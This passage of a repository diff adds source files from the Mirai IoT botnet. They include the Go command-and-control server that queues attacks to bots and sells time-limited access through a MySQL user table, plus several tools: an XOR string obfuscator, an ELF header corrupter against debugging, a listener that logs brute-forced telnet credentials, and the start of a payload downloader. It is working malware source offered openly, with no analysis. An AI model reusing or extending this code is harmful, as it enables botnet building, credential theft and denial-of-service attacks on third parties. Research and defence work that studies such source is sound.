|         } | ||||
|         if n,err := this.conn.Write(buf); err != nil || n != len(buf) { | ||||
|             return | ||||
|         } | ||||
|     } | ||||
| } | ||||
|  | ||||
| func (this *Bot) QueueBuf(buf []byte) { | ||||
|     this.conn.Write(buf) | ||||
| } | ||||
							
								
								
									
										130
									
								
								mirai/cnc/clientList.go
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										130
									
								
								mirai/cnc/clientList.go
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,130 @@ | ||||
| package main | ||||
|  | ||||
| import ( | ||||
|     "time" | ||||
|     "math/rand" | ||||
|     "sync" | ||||
|     "fmt" | ||||
| ) | ||||
|  | ||||
| type AttackSend struct { | ||||
|     buf         []byte | ||||
|     count       int | ||||
|     botCata     string | ||||
| } | ||||
|  | ||||
| type ClientList struct { | ||||
|     uid         int | ||||
|     count       int | ||||
|     clients     map[int]*Bot | ||||
|     addQueue    chan *Bot | ||||
|     delQueue    chan *Bot | ||||
|     atkQueue    chan *AttackSend | ||||
|     totalCount  chan int | ||||
|     cntView     chan int | ||||
|     distViewReq chan int | ||||
|     distViewRes chan map[string]int | ||||
|     cntMutex    *sync.Mutex | ||||
| } | ||||
|  | ||||
| func NewClientList() *ClientList { | ||||
|     c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}} | ||||
|     go c.worker() | ||||
|     go c.fastCountWorker() | ||||
|     return c | ||||
| } | ||||
|  | ||||
| func (this *ClientList) Count() int { | ||||
|     this.cntMutex.Lock() | ||||
|     defer this.cntMutex.Unlock() | ||||
|  | ||||
|     this.cntView <- 0 | ||||
|     return <-this.cntView | ||||
| } | ||||
|  | ||||
| func (this *ClientList) Distribution() map[string]int { | ||||
|     this.cntMutex.Lock() | ||||
|     defer this.cntMutex.Unlock() | ||||
|     this.distViewReq <- 0 | ||||
|     return <-this.distViewRes | ||||
| } | ||||
|  | ||||
| func (this *ClientList) AddClient(c *Bot) { | ||||
|     this.addQueue <- c | ||||
| } | ||||
|  | ||||
| func (this *ClientList) DelClient(c *Bot) { | ||||
|     this.delQueue <- c | ||||
|     fmt.Printf("Deleted client %d - %s - %s\n", c.version, c.source, c.conn.RemoteAddr()) | ||||
| } | ||||
|  | ||||
| func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) { | ||||
|     attack := &AttackSend{buf, maxbots, botCata} | ||||
|     this.atkQueue <- attack | ||||
| } | ||||
|  | ||||
| func (this *ClientList) fastCountWorker() { | ||||
|     for { | ||||
|         select { | ||||
|         case delta := <-this.totalCount: | ||||
|             this.count += delta | ||||
|             break | ||||
|         case <-this.cntView: | ||||
|             this.cntView <- this.count | ||||
|             break | ||||
|         } | ||||
|     } | ||||
| } | ||||
|  | ||||
| func (this *ClientList) worker() { | ||||
|     rand.Seed(time.Now().UTC().UnixNano()) | ||||
|  | ||||
|     for { | ||||
|         select { | ||||
|         case add := <-this.addQueue: | ||||
|             this.totalCount <- 1 | ||||
|             this.uid++ | ||||
|             add.uid = this.uid | ||||
|             this.clients[add.uid] = add | ||||
|             break | ||||
|         case del := <-this.delQueue: | ||||
|             this.totalCount <- -1 | ||||
|             delete(this.clients, del.uid) | ||||
|             break | ||||
|         case atk := <-this.atkQueue: | ||||
|             if atk.count == -1 { | ||||
|                 for _,v := range this.clients { | ||||
|                     if atk.botCata == "" || atk.botCata == v.source { | ||||
|                         v.QueueBuf(atk.buf) | ||||
|                     } | ||||
|                 } | ||||
|             } else { | ||||
|                 var count int | ||||
|                 for _, v := range this.clients { | ||||
|                     if count > atk.count { | ||||
|                         break | ||||
|                     } | ||||
|                     if atk.botCata == "" || atk.botCata == v.source { | ||||
|                         v.QueueBuf(atk.buf) | ||||
|                         count++ | ||||
|                     } | ||||
|                 } | ||||
|             } | ||||
|             break | ||||
|         case <-this.cntView: | ||||
|             this.cntView <- this.count | ||||
|             break | ||||
|         case <-this.distViewReq: | ||||
|             res := make(map[string]int) | ||||
|             for _,v := range this.clients { | ||||
|                 if ok,_ := res[v.source]; ok > 0 { | ||||
|                     res[v.source]++ | ||||
|                 } else { | ||||
|                     res[v.source] = 1 | ||||
|                 } | ||||
|             } | ||||
|             this.distViewRes <- res | ||||
|         } | ||||
|     } | ||||
| } | ||||
|  | ||||
							
								
								
									
										40
									
								
								mirai/cnc/constants.go
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										40
									
								
								mirai/cnc/constants.go
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,40 @@ | ||||
| package main | ||||
|  | ||||
| const MiraiPrompt = ` | ||||
|  Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²±[0;31mÜ Ü[1;41m±²[40m[A | ||||
| [20C[40mß[41m²±[0;31mÜ Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m°±²[40m[A | ||||
| [37C[41m²Û[6C[0;31mÜ[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²[40m[A | ||||
| [58C[41m±[0;31mÜ Ü[1;41m±²[1C[0;31mÜ[1;41m°±²²Û[1C²±°°±²²[40m | ||||
|  [30;41m°[31m°±[1C±° [1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C±[40m[A | ||||
| [22C[41m°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[9C[30m°[31m°±[40m[A | ||||
| [48C[1C[41m±°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C[30m°[40m[A | ||||
| [66C[41m[31m°±[6C[30m°[31m°±[40m | ||||
|  [30;41m±°[31m°[1C[30m±°[31m°[1C[30m±°[31m°[1C[30m±° [1C±°[40m[A | ||||
| [19C[41m[31m°[1C[30m°° [1C±°[31m°[1C[30m±° [1C±°[31m°[9C[40m[A | ||||
| [45C[41m[30m±°[31m°[1C[30m±° [1C±°[31m°[1C[30m±° [1C±°[31m[40m[A | ||||
| [63C[41m°[1C[30m±°[31m°[6C[30m±°[31m°[40m | ||||
|  [30;41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[40m[A | ||||
| [36C[9C[41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±°[6C²±°[40m | ||||
|  [41mÛ²±[1C[40mÛÛ[41m²[1CÛ²±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²±[1C[40m[A | ||||
| [25C[40mÞ[41m²²[40mÝ    Û[41m²°[9C[40mÞ[41m²²[40mÝ    [41mÛ²[40m[A | ||||
| [55C[41m±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²°[6C[40mÛ[41m²°[40m | ||||
|  ÛÛ[41m²[1C²Û[40mÛ ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ [A | ||||
| [21C[41m²[40mÛ[41m²[2C[40mßÛ[41m²[40mÛÜ  ÛÛ[41m²[40mÜÜ[8CßÛ[A | ||||
| [48C[41m²[40mÛÜ  ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ ÛÛ[A | ||||
| [67C[41m²[40mÜÜ    ÛÛÛ | ||||
|  ²ÛÛßßßß ÛÛ² ÛÛÛ ÛÛ² ÛÛÛ    ßÛÛÛ ÛÛ²[12CßÛÛÛ ÛÛ² ÛÛÛ ÛÛ² ÛÛ²[6CÛÛÛ | ||||
|  ²[47mÛ[40m²[5C²Û² ²ÛÛ ÛÛ² ²ÛÛ[5CÛÛ² ÛÛ²[13CÛÛ² ²Û² ²ÛÛ ÛÛ² ÛÛ²[6C²ÛÛ | ||||
|  ±[47mÛ[40m²[5C²Û± ²Û² ²Û²Ü²Û² ±²Û ²Û² ²Û²[9C±²Û ²Û² ²Û± ²Û² ²Û² ²Û²[A | ||||
| [68C[6C²Û² | ||||
|  ±[47mÛ[40m±[5C±Û± ±Û± ±Û± ±Û± ²ÛÛ ±Û± ±Û±[9C²ÛÛ ±Û± ±Û± ±Û± ±Û± ±Û±[A | ||||
| [68C[6C±Û± | ||||
|  °[47mÛ[40m°[5C°Û° °Û° °Û° °Û° ßÛÛÜÛÛß °ÛÛÛÛÛ[6CßÛÛÜÛÛß °Û° °Û° °Û° °Û°[A | ||||
| [68C[6C°Û° | ||||
|  | ||||
|  SYSOP: PIRATE PETE   ú   CUSTOMIZED PCB 15.1   ú   CLASSIC GAMES/UTILS ARE[A | ||||
| [75CA | ||||
|  NODES: 604-732-3233  ú   NODES 2-4 604-NOT-4U! ú   NODES 5-6 604-NOT-YET! | ||||
|  2.1 GIGZ ONLINE[6Cú   SYNDROME DISTRO SITE  ú   EXPERIENCED USERS ONLY | ||||
|  | ||||
| [19CANSI : THE MASKED PIRATEúIMPERIAL | ||||
| ` | ||||
							
								
								
									
										145
									
								
								mirai/cnc/database.go
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										145
									
								
								mirai/cnc/database.go
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,145 @@ | ||||
| package main | ||||
|  | ||||
| import ( | ||||
|     "database/sql" | ||||
|     "fmt" | ||||
|     "net" | ||||
|     "encoding/binary" | ||||
|     _ "github.com/go-sql-driver/mysql" | ||||
|     "time" | ||||
|     "errors" | ||||
| ) | ||||
|  | ||||
| type Database struct { | ||||
|     db      *sql.DB | ||||
| } | ||||
|  | ||||
| type AccountInfo struct { | ||||
|     username    string | ||||
|     maxBots     int | ||||
|     admin       int | ||||
| } | ||||
|  | ||||
| func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database { | ||||
|     db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName)) | ||||
|     if err != nil { | ||||
|         fmt.Println(err) | ||||
|     } | ||||
|     fmt.Println("Mysql DB opened") | ||||
|     return &Database{db} | ||||
| } | ||||
|  | ||||
| func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) { | ||||
|     rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password) | ||||
|     if err != nil { | ||||
|         fmt.Println(err) | ||||
|         return false, AccountInfo{"", 0, 0} | ||||
|     } | ||||
|     defer rows.Close() | ||||
|     if !rows.Next() { | ||||
|         return false, AccountInfo{"", 0, 0} | ||||
|     } | ||||
|     var accInfo AccountInfo | ||||
|     rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin) | ||||
|     return true, accInfo | ||||
| } | ||||
|  | ||||
| func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool { | ||||
|     rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username) | ||||
|     if err != nil { | ||||
|         fmt.Println(err) | ||||
|         return false | ||||
|     } | ||||
|     if rows.Next() { | ||||
|         return false | ||||
|     } | ||||
|     this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration) | ||||
|     return true | ||||
| } | ||||
|  | ||||
| func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool { | ||||
|     rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist") | ||||
|     if err != nil { | ||||
|         fmt.Println(err) | ||||
|         return false | ||||
|     } | ||||
|     defer rows.Close() | ||||
|     for rows.Next() { | ||||
|         var prefix string | ||||
|         var netmask uint8 | ||||
|         rows.Scan(&prefix, &netmask) | ||||
|  | ||||
|         // Parse prefix | ||||
|         ip := net.ParseIP(prefix) | ||||
|         ip = ip[12:] | ||||
|         iWhitelistPrefix := binary.BigEndian.Uint32(ip) | ||||
|  | ||||
|         for aPNetworkOrder, aN := range attack.Targets { | ||||
|             rvBuf := make([]byte, 4) | ||||
|             binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder) | ||||
|             iAttackPrefix := binary.BigEndian.Uint32(rvBuf) | ||||
|             if aN > netmask { // Whitelist is less specific than attack target | ||||
|                 if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) { | ||||
|                     return true | ||||
|                 } | ||||
|             } else if aN < netmask { // Attack target is less specific than whitelist | ||||
|                 if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) { | ||||
|                     return true | ||||
|                 } | ||||
|             } else { // Both target and whitelist have same prefix | ||||
|                 if (iWhitelistPrefix == iAttackPrefix) { | ||||
|                     return true | ||||
|                 } | ||||
|             } | ||||
|         } | ||||
|     } | ||||
|     return false | ||||
| } | ||||
|  | ||||
| func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) { | ||||
|     rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username) | ||||
|     defer rows.Close() | ||||
|     if err != nil { | ||||
|         fmt.Println(err) | ||||
|     } | ||||
|     var userId, durationLimit, cooldown uint32 | ||||
|     if !rows.Next() { | ||||
|         return false, errors.New("Your access has been terminated") | ||||
|     } | ||||
|     rows.Scan(&userId, &durationLimit, &cooldown) | ||||
|  | ||||
|     if durationLimit != 0 && duration > durationLimit { | ||||
|         return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit)) | ||||
|     } | ||||
|     rows.Close() | ||||
|  | ||||
|     if allowConcurrent == 0 { | ||||
|         rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown) | ||||
|         if err != nil { | ||||
|             fmt.Println(err) | ||||
|         } | ||||
|         if rows.Next() { | ||||
|             var timeSent, historyDuration uint32 | ||||
|             rows.Scan(&timeSent, &historyDuration) | ||||
|             return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix()))) | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots) | ||||
|     return true, nil | ||||
| } | ||||
|  | ||||
| func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) { | ||||
|     rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey) | ||||
|     if err != nil { | ||||
|         fmt.Println(err) | ||||
|         return false, AccountInfo{"", 0, 0} | ||||
|     } | ||||
|     defer rows.Close() | ||||
|     if !rows.Next() { | ||||
|         return false, AccountInfo{"", 0, 0} | ||||
|     } | ||||
|     var accInfo AccountInfo | ||||
|     rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin) | ||||
|     return true, accInfo | ||||
| } | ||||
							
								
								
									
										113
									
								
								mirai/cnc/main.go
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										113
									
								
								mirai/cnc/main.go
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,113 @@ | ||||
| package main | ||||
|  | ||||
| import ( | ||||
|     "fmt" | ||||
|     "net" | ||||
|     "errors" | ||||
|     "time" | ||||
| ) | ||||
|  | ||||
| const DatabaseAddr string   = "127.0.0.1" | ||||
| const DatabaseUser string   = "root" | ||||
| const DatabasePass string   = "password" | ||||
| const DatabaseTable string  = "mirai" | ||||
|  | ||||
| var clientList *ClientList = NewClientList() | ||||
| var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable) | ||||
|  | ||||
| func main() { | ||||
|     tel, err := net.Listen("tcp", "0.0.0.0:23") | ||||
|     if err != nil { | ||||
|         fmt.Println(err) | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     api, err := net.Listen("tcp", "0.0.0.0:101") | ||||
|     if err != nil { | ||||
|         fmt.Println(err) | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     go func() { | ||||
|         for { | ||||
|             conn, err := api.Accept() | ||||
|             if err != nil { | ||||
|                 break | ||||
|             } | ||||
|             go apiHandler(conn) | ||||
|         } | ||||
|     }() | ||||
|  | ||||
|     for { | ||||
|         conn, err := tel.Accept() | ||||
|         if err != nil { | ||||
|             break | ||||
|         } | ||||
|         go initialHandler(conn) | ||||
|     } | ||||
|  | ||||
|     fmt.Println("Stopped accepting clients") | ||||
| } | ||||
|  | ||||
| func initialHandler(conn net.Conn) { | ||||
|     defer conn.Close() | ||||
|  | ||||
|     conn.SetDeadline(time.Now().Add(10 * time.Second)) | ||||
|  | ||||
|     buf := make([]byte, 32) | ||||
|     l, err := conn.Read(buf) | ||||
|     if err != nil || l <= 0 { | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 { | ||||
|         if buf[3] > 0 { | ||||
|             string_len := make([]byte, 1) | ||||
|             l, err := conn.Read(string_len) | ||||
|             if err != nil || l <= 0 { | ||||
|                 return | ||||
|             } | ||||
|             var source string | ||||
|             if string_len[0] > 0 { | ||||
|                 source_buf := make([]byte, string_len[0]) | ||||
|                 l, err := conn.Read(source_buf) | ||||
|                 if err != nil || l <= 0 { | ||||
|                     return | ||||
|                 } | ||||
|                 source = string(source_buf) | ||||
|             } | ||||
|             NewBot(conn, buf[3], source).Handle() | ||||
|         } else { | ||||
|             NewBot(conn, buf[3], "").Handle() | ||||
|         } | ||||
|     } else { | ||||
|         NewAdmin(conn).Handle() | ||||
|     } | ||||
| } | ||||
|  | ||||
| func apiHandler(conn net.Conn) { | ||||
|     defer conn.Close() | ||||
|  | ||||
|     NewApi(conn).Handle() | ||||
| } | ||||
|  | ||||
| func readXBytes(conn net.Conn, buf []byte) (error) { | ||||
|     tl := 0 | ||||
|  | ||||
|     for tl < len(buf) { | ||||
|         n, err := conn.Read(buf[tl:]) | ||||
|         if err != nil { | ||||
|             return err | ||||
|         } | ||||
|         if n <= 0 { | ||||
|             return errors.New("Connection closed unexpectedly") | ||||
|         } | ||||
|         tl += n | ||||
|     } | ||||
|  | ||||
|     return nil | ||||
| } | ||||
|  | ||||
| func netshift(prefix uint32, netmask uint8) uint32 { | ||||
|     return uint32(prefix >> (32 - netmask)) | ||||
| } | ||||
							
								
								
									
										1
									
								
								mirai/prompt.txt
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										1
									
								
								mirai/prompt.txt
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1 @@ | ||||
| я люблю куриные наггетсы | ||||
							
								
								
									
										12
									
								
								mirai/tools/badbot.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										12
									
								
								mirai/tools/badbot.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,12 @@ | ||||
| #include <stdio.h> | ||||
| #include <unistd.h> | ||||
|  | ||||
| int main(int argc, char **args) | ||||
| { | ||||
|     printf("REPORT %s:%s\n", "127.0.0.1", "80"); | ||||
|  | ||||
|     while (1) | ||||
|         sleep(1); | ||||
|  | ||||
|     return 0; | ||||
| } | ||||
							
								
								
									
										101
									
								
								mirai/tools/enc.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										101
									
								
								mirai/tools/enc.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,101 @@ | ||||
| #include <stdio.h> | ||||
| #include <stdlib.h> | ||||
| #include <string.h> | ||||
| #include <stdint.h> | ||||
| #include <arpa/inet.h> | ||||
|  | ||||
| static uint32_t table_key = 0xdeadbeef; | ||||
|  | ||||
| void *x(void *, int); | ||||
|  | ||||
| int main(int argc, char **args) | ||||
| { | ||||
|     void *data; | ||||
|     int len, i; | ||||
|  | ||||
|     if (argc != 3) | ||||
|     { | ||||
|         printf("Usage: %s <string | ip | uint32 | uint16 | uint8 | bool> <data>\n", args[0]); | ||||
|         return 0; | ||||
|     } | ||||
|  | ||||
|     if (strcmp(args[1], "string") == 0) | ||||
|     { | ||||
|         data = args[2]; | ||||
|         len = strlen(args[2]) + 1; | ||||
|     } | ||||
|     else if (strcmp(args[1], "ip") == 0) | ||||
|     { | ||||
|         data = calloc(1, sizeof (uint32_t)); | ||||
|         *((uint32_t *)data) = inet_addr(args[2]); | ||||
|         len = sizeof (uint32_t); | ||||
|     } | ||||
|     else if (strcmp(args[1], "uint32") == 0) | ||||
|     { | ||||
|         data = calloc(1, sizeof (uint32_t)); | ||||
|         *((uint32_t *)data) = htonl((uint32_t)atoi(args[2])); | ||||
|         len = sizeof (uint32_t); | ||||
|     } | ||||
|     else if (strcmp(args[1], "uint16") == 0) | ||||
|     { | ||||
|         data = calloc(1, sizeof (uint16_t)); | ||||
|         *((uint16_t *)data) = htons((uint16_t)atoi(args[2])); | ||||
|         len = sizeof (uint16_t); | ||||
|     } | ||||
|     else if (strcmp(args[1], "uint8") == 0) | ||||
|     { | ||||
|         data = calloc(1, sizeof (uint8_t)); | ||||
|         *((uint8_t *)data) = atoi(args[2]); | ||||
|         len = sizeof (uint8_t); | ||||
|     } | ||||
|     else if (strcmp(args[1], "bool") == 0) | ||||
|     { | ||||
|         data = calloc(1, sizeof (char)); | ||||
|         if (strcmp(args[2], "false") == 0) | ||||
|             ((char *)data)[0] = 0; | ||||
|         else if (strcmp(args[2], "true") == 0) | ||||
|             ((char *)data)[0] = 1; | ||||
|         else | ||||
|         { | ||||
|             printf("Unknown value `%s` for datatype bool!\n", args[2]); | ||||
|             return -1; | ||||
|         } | ||||
|         len = sizeof (char); | ||||
|     } | ||||
|     else | ||||
|     { | ||||
|         printf("Unknown data type `%s`!\n", args[1]); | ||||
|         return -1; | ||||
|     } | ||||
|  | ||||
|     // Yes we are leaking memory, but the program is so | ||||
|     // short lived that it doesn't really matter... | ||||
|     printf("XOR'ing %d bytes of data...\n", len); | ||||
|     data = x(data, len); | ||||
|     for (i = 0; i < len; i++) | ||||
|         printf("\\x%02X", ((unsigned char *)data)[i]); | ||||
|     printf("\n"); | ||||
| } | ||||
|  | ||||
| void *x(void *_buf, int len) | ||||
| { | ||||
|     unsigned char *buf = (char *)_buf, *out = malloc(len); | ||||
|     int i; | ||||
|     uint8_t k1 = table_key & 0xff, | ||||
|             k2 = (table_key >> 8) & 0xff, | ||||
|             k3 = (table_key >> 16) & 0xff, | ||||
|             k4 = (table_key >> 24) & 0xff; | ||||
|  | ||||
|     for (i = 0; i < len; i++) | ||||
|     { | ||||
|         char tmp = buf[i] ^ k1; | ||||
|  | ||||
|         tmp ^= k2; | ||||
|         tmp ^= k3; | ||||
|         tmp ^= k4; | ||||
|  | ||||
|         out[i] = tmp; | ||||
|     } | ||||
|  | ||||
|     return out; | ||||
| } | ||||
							
								
								
									
										56
									
								
								mirai/tools/nogdb.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										56
									
								
								mirai/tools/nogdb.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,56 @@ | ||||
| #include <stdio.h> | ||||
| #include <sys/mman.h> | ||||
| #include <unistd.h> | ||||
| #include <stdlib.h> | ||||
| #include <elf.h> | ||||
| #include <sys/stat.h> | ||||
| #include <sys/types.h> | ||||
| #include <sys/procfs.h> | ||||
| #include <fcntl.h> | ||||
|  | ||||
| int main(int argc, char** argv) { | ||||
|     int f; | ||||
|     static Elf32_Ehdr* header; | ||||
|  | ||||
|     printf(".: Elf corrupt :.\n"); | ||||
|  | ||||
|     if(argc < 2){ | ||||
|         printf("Usage: %s file", argv[0]); | ||||
|         return 1; | ||||
|     } | ||||
|  | ||||
|     if((f = open(argv[1], O_RDWR)) < 0){ | ||||
|         perror("open"); | ||||
|         return 1; | ||||
|     } | ||||
|  | ||||
|     //MAP_SHARED is required to actually update the file | ||||
|     if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PROT_WRITE, MAP_SHARED, f, 0)) == MAP_FAILED){ | ||||
|         perror("mmap"); | ||||
|         close(f); | ||||
|         return 1; | ||||
|     } | ||||
|  | ||||
|     printf("[*] Current header values:\n"); | ||||
|     printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n", | ||||
|             header->e_shoff, header->e_shnum, header->e_shstrndx); | ||||
|  | ||||
|     header->e_shoff = 0xffff; | ||||
|     header->e_shnum = 0xffff; | ||||
|     header->e_shstrndx = 0xffff; | ||||
|  | ||||
|     printf("[*] Patched header values:\n"); | ||||
|     printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n", | ||||
|             header->e_shoff, header->e_shnum, header->e_shstrndx); | ||||
|  | ||||
|     if(msync(NULL, 0, MS_SYNC) == -1){ | ||||
|         perror("msync"); | ||||
|         close(f); | ||||
|         return 1; | ||||
|     } | ||||
|  | ||||
|     close(f); | ||||
|     munmap(header, 0); | ||||
|     printf("You should no more be able to run \"%s\" inside GDB\n", argv[1]); | ||||
|     return 0; | ||||
| } | ||||
							
								
								
									
										95
									
								
								mirai/tools/scanListen.go
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										95
									
								
								mirai/tools/scanListen.go
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,95 @@ | ||||
| package main | ||||
|  | ||||
| import ( | ||||
|     "fmt" | ||||
|     "net" | ||||
|     "encoding/binary" | ||||
|     "errors" | ||||
|     "time" | ||||
| ) | ||||
|  | ||||
| func main() { | ||||
|     l, err := net.Listen("tcp", "0.0.0.0:48101") | ||||
|     if err != nil { | ||||
|         fmt.Println(err) | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     for { | ||||
|         conn, err := l.Accept() | ||||
|         if err != nil { | ||||
|             break | ||||
|         } | ||||
|         go handleConnection(conn) | ||||
|     } | ||||
| } | ||||
|  | ||||
| func handleConnection(conn net.Conn) { | ||||
|     defer conn.Close() | ||||
|     conn.SetDeadline(time.Now().Add(10 * time.Second)) | ||||
|  | ||||
|     bufChk, err := readXBytes(conn, 1) | ||||
|     if err != nil { | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     var ipInt uint32 | ||||
|     var portInt uint16 | ||||
|  | ||||
|     if bufChk[0] == 0 { | ||||
|         ipBuf, err := readXBytes(conn, 4) | ||||
|         if err != nil { | ||||
|             return | ||||
|         } | ||||
|         ipInt = binary.BigEndian.Uint32(ipBuf) | ||||
|  | ||||
|         portBuf, err := readXBytes(conn, 2) | ||||
|         if err != nil { | ||||
|             return; | ||||
|         } | ||||
|  | ||||
|         portInt = binary.BigEndian.Uint16(portBuf) | ||||
|     } else { | ||||
|         ipBuf, err := readXBytes(conn, 3) | ||||
|         if err != nil { | ||||
|             return; | ||||
|         } | ||||
|         ipBuf = append(bufChk, ipBuf...) | ||||
|  | ||||
|         ipInt = binary.BigEndian.Uint32(ipBuf) | ||||
|  | ||||
|         portInt = 23 | ||||
|     } | ||||
|  | ||||
|     uLenBuf, err := readXBytes(conn, 1) | ||||
|     if err != nil { | ||||
|         return | ||||
|     } | ||||
|     usernameBuf, err := readXBytes(conn, int(byte(uLenBuf[0]))) | ||||
|  | ||||
|     pLenBuf, err := readXBytes(conn, 1) | ||||
|     if err != nil { | ||||
|         return | ||||
|     } | ||||
|     passwordBuf, err := readXBytes(conn, int(byte(pLenBuf[0]))) | ||||
|     if err != nil { | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     fmt.Printf("%d.%d.%d.%d:%d %s:%s\n", (ipInt >> 24) & 0xff, (ipInt >> 16) & 0xff, (ipInt >> 8) & 0xff, ipInt & 0xff, portInt, string(usernameBuf), string(passwordBuf)) | ||||
| } | ||||
|  | ||||
| func readXBytes(conn net.Conn, amount int) ([]byte, error) { | ||||
|     buf := make([]byte, amount) | ||||
|     tl := 0 | ||||
|  | ||||
|     for tl < amount { | ||||
|         rd, err := conn.Read(buf[tl:]) | ||||
|         if err != nil || rd <= 0 { | ||||
|             return nil, errors.New("Failed to read") | ||||
|         } | ||||
|         tl += rd | ||||
|     } | ||||
|  | ||||
|     return buf, nil | ||||
| } | ||||
							
								
								
									
										1024
									
								
								mirai/tools/single_load.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										1024
									
								
								mirai/tools/single_load.c
									
									
									
									
									
										Executable file
									
								
							
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							
							
								
								
									
										183
									
								
								mirai/tools/wget.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										183
									
								
								mirai/tools/wget.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,183 @@ | ||||
| #include <sys/types.h> | ||||
| //#include <bits/syscalls.h> | ||||
| #include <sys/syscall.h> | ||||
| #include <fcntl.h> | ||||
| #include <sys/socket.h> | ||||
| #include <netinet/in.h> | ||||
| #include <string.h> | ||||
|  | ||||
| #define EXEC_MSG            "MIRAI\n" | ||||
| #define EXEC_MSG_LEN        6 | ||||
|  | ||||
| #define DOWNLOAD_MSG        "FIN\n" | ||||
| #define DOWNLOAD_MSG_LEN    4 | ||||
|  | ||||
| #define STDIN   0 | ||||
| #define STDOUT  1 | ||||
| #define STDERR  2 | ||||
|  | ||||
| #if BYTE_ORDER == BIG_ENDIAN | ||||
| #define HTONS(n) (n) | ||||
| #define HTONL(n) (n) | ||||
| #elif BYTE_ORDER == LITTLE_ENDIAN | ||||
| #define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8)) | ||||
| #define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \ | ||||
|                   ((((unsigned long)(n) & 0xff00)) << 8) | \ | ||||
|                   ((((unsigned long)(n) & 0xff0000)) >> 8) | \ | ||||
|                   ((((unsigned long)(n) & 0xff000000)) >> 24)) | ||||
| #else | ||||
